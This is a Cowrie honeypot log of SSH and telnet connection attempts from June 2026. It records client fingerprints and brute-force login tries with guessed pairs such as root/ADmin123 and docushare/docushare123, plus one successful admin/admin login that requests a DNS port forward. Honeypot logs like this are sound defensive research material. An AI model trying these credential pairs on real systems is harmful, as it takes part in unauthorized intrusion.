{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35768,"dst_ip":"159.203.135.109","dst_port":23,"session":"443bd528e028","protocol":"telnet","message":"New connection: 107.6.151.170:35768 (159.203.135.109:23) [session: 443bd528e028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:59.894758Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":58672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3ad3a359b8","protocol":"ssh","message":"New connection: 123.58.215.196:58672 (10.17.0.5:22) [session: ee3ad3a359b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:06.240494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:06.250819Z","src_ip":"123.58.215.196","session":"ee3ad3a359b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:06.469249Z","src_ip":"123.58.215.196","session":"ee3ad3a359b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"admin","message":"login attempt [adminuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:07.360734Z","src_ip":"123.58.215.196","session":"ee3ad3a359b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:08.586578Z","src_ip":"123.58.215.196","session":"ee3ad3a359b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59866,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d18f9a0734","protocol":"telnet","message":"New connection: 128.199.8.54:59866 (159.203.135.109:23) [session: 77d18f9a0734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:10.376429Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48386,"dst_ip":"159.203.135.109","dst_port":22,"session":"67f0c310fdcb","protocol":"ssh","message":"New connection: 2.57.122.238:48386 (159.203.135.109:22) [session: 67f0c310fdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:21.761876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:21.768558Z","src_ip":"2.57.122.238","session":"67f0c310fdcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:21.877671Z","src_ip":"2.57.122.238","session":"67f0c310fdcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:22.184204Z","src_ip":"2.57.122.238","session":"67f0c310fdcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:23.289200Z","src_ip":"2.57.122.238","session":"67f0c310fdcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.59892177581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:31.493510Z","src_ip":"107.6.151.170","session":"443bd528e028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":38474,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b79bc74dcf9","protocol":"ssh","message":"New connection: 103.248.120.6:38474 (10.17.0.5:22) [session: 3b79bc74dcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:41.727571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:41.731782Z","src_ip":"103.248.120.6","session":"3b79bc74dcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:41.953096Z","src_ip":"103.248.120.6","session":"3b79bc74dcf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"USER1","message":"login attempt [user1/USER1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:42.880056Z","src_ip":"103.248.120.6","session":"3b79bc74dcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:44.104677Z","src_ip":"103.248.120.6","session":"3b79bc74dcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.19862174987793,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:50.574961Z","src_ip":"128.199.8.54","session":"77d18f9a0734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35558,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b259a25068","protocol":"ssh","message":"New connection: 27.71.230.31:35558 (159.203.135.109:22) [session: 55b259a25068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:55.392354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:55.548803Z","src_ip":"27.71.230.31","session":"55b259a25068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:56.109261Z","src_ip":"27.71.230.31","session":"55b259a25068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":59854,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74d6282dfea","protocol":"ssh","message":"New connection: 190.128.201.18:59854 (159.203.135.109:22) [session: e74d6282dfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:58.970261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:58.974886Z","src_ip":"190.128.201.18","session":"e74d6282dfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:59.114681Z","src_ip":"190.128.201.18","session":"e74d6282dfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docushare","password":"docushare123","message":"login attempt [docushare/docushare123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:45:59.699986Z","src_ip":"190.128.201.18","session":"e74d6282dfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:00.842193Z","src_ip":"190.128.201.18","session":"e74d6282dfea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1514,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8aac9a729e8","protocol":"ssh","message":"New connection: 87.251.64.176:1514 (10.17.0.5:22) [session: b8aac9a729e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.301372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.311363Z","src_ip":"87.251.64.176","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.406722Z","src_ip":"87.251.64.176","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.699667Z","src_ip":"87.251.64.176","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.796746Z","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.893019Z","src_ip":"87.251.64.176","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:01.991500Z","src_ip":"87.251.64.176","session":"b8aac9a729e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46878,"dst_ip":"10.17.0.5","dst_port":23,"session":"efea678af6d6","protocol":"telnet","message":"New connection: 172.81.62.90:46878 (10.17.0.5:23) [session: efea678af6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:03.831817Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADmin123","message":"login attempt [root/ADmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:06.116225Z","src_ip":"27.71.230.31","session":"55b259a25068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:09.830884Z","src_ip":"27.71.230.31","session":"55b259a25068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":48588,"dst_ip":"10.17.0.5","dst_port":22,"session":"72194ebe1142","protocol":"ssh","message":"New connection: 4.213.224.194:48588 (10.17.0.5:22) [session: 72194ebe1142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:21.965354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:21.972896Z","src_ip":"4.213.224.194","session":"72194ebe1142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:22.182109Z","src_ip":"4.213.224.194","session":"72194ebe1142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47216,"dst_ip":"159.203.135.109","dst_port":23,"session":"819adf658da2","protocol":"telnet","message":"New connection: 128.199.8.54:47216 (159.203.135.109:23) [session: 819adf658da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:22.273793Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOTROOT","message":"login attempt [root/ROOTROOT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:23.053596Z","src_ip":"4.213.224.194","session":"72194ebe1142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:24.266902Z","src_ip":"4.213.224.194","session":"72194ebe1142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44aa12e7099","protocol":"telnet","message":"New connection: 128.199.8.54:54442 (159.203.135.109:23) [session: b44aa12e7099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:31.316111Z"}
{"eventid":"cowrie.session.closed","duration":33.898603200912476,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:37.730283Z","src_ip":"172.81.62.90","session":"efea678af6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.96.172.91","src_port":38650,"dst_ip":"10.17.0.5","dst_port":22,"session":"79bfdcd4e89d","protocol":"ssh","message":"New connection: 172.96.172.91:38650 (10.17.0.5:22) [session: 79bfdcd4e89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.095418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.098214Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
